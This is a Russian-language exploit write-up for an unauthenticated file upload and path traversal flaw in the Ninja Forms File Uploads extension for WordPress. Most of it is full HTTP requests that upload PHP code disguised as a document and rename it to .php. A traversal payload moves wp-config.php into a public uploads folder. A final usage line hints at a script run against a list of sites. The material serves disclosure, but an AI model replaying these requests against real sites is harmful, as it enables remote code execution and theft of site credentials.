
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Неаутентифицированная произвольная загрузка файлов
(WordPress) Расширение загрузки файлов Ninja Forms <= 3.0.22 – Неавторизованная произвольная загрузка файла
Обход пути и неограниченная загрузка файлов существует в плагине Ninja Forms до версии 3.0.23 для WordPress (когда активировано дополнение Uploads). Это позволяет злоумышленнику обходить файловую систему для доступа к файлам и выполнения кода через параметры name и tmp_name в includes/fields/upload.php (также страница upload/submit).
Первоначальный запрос загрузки файла:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
Ответ:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
Когда форма отправляется, первоначально загруженный временный файл перемещается в новое место:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
Затем параметр “name” “очищается” функцией WordPress sanitize_file_name, которая по существу только удаляет набор предопределенных специальных символов:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
Это приводит к перемещению временного файла в конечное местоположение: /wp-content/uploads/ninja-forms/1/test.php
Если папка загрузки не была сделана явно неисполняемой, что по умолчанию не так, это приводит к выполнению кода:

Обход пути в tmp_name:
При отправке формы также возможно обойти файловую систему через параметр tmp_name, как показано ниже. Имейте в виду, что временные файлы перемещаются в новое местоположение в папке uploads!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
Это приводит к перемещению файла wp-config.php в следующее местоположение: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt